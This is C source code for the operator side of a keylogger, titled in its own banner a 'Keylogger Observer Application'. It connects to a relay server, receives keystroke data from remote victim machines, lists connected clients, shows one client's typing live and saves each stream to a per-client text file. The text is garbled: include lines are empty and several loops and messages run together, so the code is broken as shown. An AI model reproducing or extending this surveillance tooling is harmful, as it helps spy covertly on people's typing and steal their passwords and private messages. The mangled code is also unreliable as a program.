#include #include #include #include #include #include #include #include //mode=0 : menu principal //mode=i avec i=1:size+1 -> accès au flux en direct du client //mode=-1 -> envoie de l'historique des clients void displayMenu(int* tab, int size, int mode){ int i; int num; if(mode==0){ printf("\n----------------------------------------------------\n"); printf(" Client list : \n"); if(size==0) printf("No user connected...\n"); else{ for(i=0; i Please choose another socket to follow.\n"); else printf("Starting the observation of socket n°%d...\n", mode); } } int findNum(int* tab, int size, int numClient){ int i = 0; for(i=0; i \n", argv[0]); exit(1); } else{ strcpy(hostname, argv[1]); PORTNUMBER=atoi(argv[2]); } /* Look up our host's network address.*/ hp = gethostbyname(hostname); /* Create a socket in the INET domain.*/ s = socket(AF_INET, SOCK_STREAM, 0); /* Create the address of the server. */ name.sin_family = AF_INET; name.sin_port = htons(PORTNUMBER); memcpy(&name.sin_addr, hp->h_addr_list[0], hp->h_length); len = sizeof(struct sockaddr_in); /* Connect to the server. */ connect(s, (struct sockaddr *) &name, len); printf("===========================================================\n"); printf("=== Welcome in your Keylogger Observer Application! ===\n"); printf("===========================================================\n"); printf("--- Down this message will be displayed the reveived ---\n"); printf("--- datas from distant computers... ---\n"); printf("-----------------------------------------------------------\n"); printf("--- MENU ---\n"); printf("--- To see the list of connected clients : press 0 ---\n"); printf("--- Client's activity in live : press his socket number ---\n"); printf("-----------------------------------------------------------\n\n"); while(1){ memset(bufe,'\0',sizeof(bufe)); memset(bufs, '\0', sizeof(bufs)); FD_ZERO(&readfds); FD_SET(0,&readfds); FD_SET(s,&readfds); if(select(s+1,&readfds,NULL,NULL,NULL)==-1){ perror("Error in select"); exit(1); } if(FD_ISSET(0,&readfds)){ n=read(0,bufs,sizeof(bufs)); mode=atoi(bufs); displayMenu(ptrnumClient, size, mode); } if(FD_ISSET(s,&readfds)){ //Recuperation numero connexion //printf("... Reception of connection number ...\n"); n=recv(s, num, sizeof(num), MSG_WAITALL); //printf("%s\n",num); numClient=atoi(num); //printf("numClient : %d size : %d\n",numClient,size); it=findNum(ptrnumClient,size,numClient); //printf("it : %d\n",it); //Reception numClient OK at this point send(s, receptCltNum, sizeof(receptCltNum),0); if(it==-1){ printf("\n\t\t\t** NEW CLIENT CONNECTED **\n"); ptrnumClient[size]=numClient; ptrfile[size]=fopen(strcat(num,".txt"),"w"); it=size; size++; } n=recv(s,&bufe,sizeof(bufe),0); if(strstr(bufe,interruptMsg)!=NULL){ printf("Error, socket closed abnormally...\n"); fclose(ptrfile[it]); ptrnumClient[it]=ptrnumClient[size]; ptrfile[it]=ptrfile[size]; ptrnumClient[size]=0; ptrfile[size]=NULL; size--; } else{ if(numClient==mode) printf("%s",bufe); fprintf(ptrfile[it],"%s", bufe); fflush(ptrfile[it]); } } if(strstr(bufe,stop)!=NULL){ fclose(ptrfile[it]); ptrnumClient[it]=ptrnumClient[size]; ptrfile[it]=ptrfile[size]; ptrnumClient[size]=0; ptrfile[size]=NULL; size--; } } close(s); exit(1); }